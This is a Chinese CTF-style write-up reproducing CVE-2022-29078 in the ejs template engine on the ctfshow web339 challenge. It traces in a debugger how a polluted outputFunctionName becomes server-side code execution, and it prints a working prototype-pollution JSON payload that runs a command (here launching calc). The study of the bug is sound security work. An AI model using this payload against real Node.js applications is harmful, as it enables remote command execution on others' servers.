前言
调试,爽!
参考:https://www.cnblogs.com/icfh/p/17775121.html
RCE(CVE-2022-29078)
版本:ejs <= v3.1.9
这里直接用ctfshow web339的附件进行复现,过程部分参考pop爷的
直接看app.js的关键部分源码
var express = require('express');
var ejs = require('ejs');
/*
...
*/
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
/*
...
*/
app.use('/', indexRouter);
app.use('/login', loginRouter);
app.use('/api',apiRouter);
可以看到这里使用了ejs模板引擎进行渲染
然后我们的污染位置在login.js的copy这里
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
payload
先把我们的payload端上来:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
很明显这个payload污染了outputFunctionName
这个属性
抓个login路由的包传进去,然后再访问一次就能触发命令执行
调试
现在在index.js这里下个断点(vscode断点调试参考:https://zhuanlan.zhihu.com/p/108939892)
然后访问/
路由,一步步进行分析
一路跟进到response.js的app.render
,这是express处理路由时,需要渲染首先先载入上下文环境,然后进一步render
一路跟进到application.js下的render,进入render后开始处理模板
此时在renderOptions变量下发现被污染的outputFunctionName属性
现在我们继续追溯这是怎么实现RCE的
这里进入了视图渲染的部分
继续跟进
这里开始启动ejs模板引擎
来到了lib/ejs.js的renderFile
首先浅拷贝opt,然后进入tryHandleCache
在tryHandleCache
中,首先判断是否有回调函数,有的话进入else分支
然后进入缓存处理,判断是否启用缓存和判断是否已经存在模板,进行模板的懒加载
注意此时变量里的template加载了
'<!--# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-25 03:01:21# @Last Modified by: h1xa# @Last Modified time: 2020-12-27 22:00:35# @email: h1xa@ctfer.com# @link: https://ctfer.com--><!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>登录界面</title> <link rel="stylesheet" href="/stylesheets/index.css"> <script type="text/javascript" src="/javascripts/jquery.js"></script></head><body><script> ...</script></body></html>'
然后传入template和opt,进行compile
代码注入
接下来就是最关键的部分了,进入templ.complie
进行拼接,从而实现代码注入
注意看这个opts.outputFunctionName
,这个属性默认是为undefined,我们之前污染了原型的这个属性,这个属性在哪里被利用了呢?继续跟进到prepened
此时prepended对象已经被拼接上了opts.outputFunctionName
var __output = ""; function __append(s) { if (s !== undefined && s !== null) __output += s } var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;
然后连着appened属性一起被拼贴到了this.source
中
接下来就到重点了,ctor
为Function,我们知道这个是创建了一个构造函数
最后new了一个fn对象,fn对象也就是Function实例化出的,其中的src就是之前的this.source
'var __line = 1 , __lines = "<!--\r\n# -*- coding: utf-8 -*-\r\n# @Author: h1xa\r\n# @Date: 2020-12-25 03:01:21\r\n# @Last Modified by: h1xa\r\n# @Last Modified time: 2020-12-27 22:00:35\r\n# @email: h1xa@ctfer.com\r\n# @link: https://ctfer.com\r\n\r\n-->\r\n\r\n\r\n<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n <meta charset=\"UTF-8\">\r\n <title>登录界面</title>\r\n <link rel=\"stylesheet\" href=\"/stylesheets/index.css\">\r\n <script type=\"text/javascript\" src=\"/javascripts/jquery.js\"></script>\r\n</head>\r\n<body>\r\n<script>...</script>\r\n\r\n</body>\r\n</html>") ; __line = 97 } return __output;} catch (e) { rethrow(e, __lines, __filename, __line, escapeFn);}//# sourceURL=D:\下载\Nodejs\web339\views\index.html'
Funtion的apply方法
本地测试一下:
var person = {age:3}
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
使用 apply()
方法将 myFunction
应用于 person
对象,并传递了参数 [2]
apply()
方法的第一个参数是要将函数应用于的对象,第二个参数是一个数组,其中包含了要传递给函数的参数
现在回到我们的代码,继续跟进到调用apply方法
继续跟进,接下来就是模板渲染返回结果的步骤了
注:这里跟进到了index.html其实是index.ejs渲染后的html
一路跟进到__output
这里就会输出命令执行的内容,也就是弹计算器
总之,我们的重点就是在apply方法上,在那儿对outputFunctionName
属性调用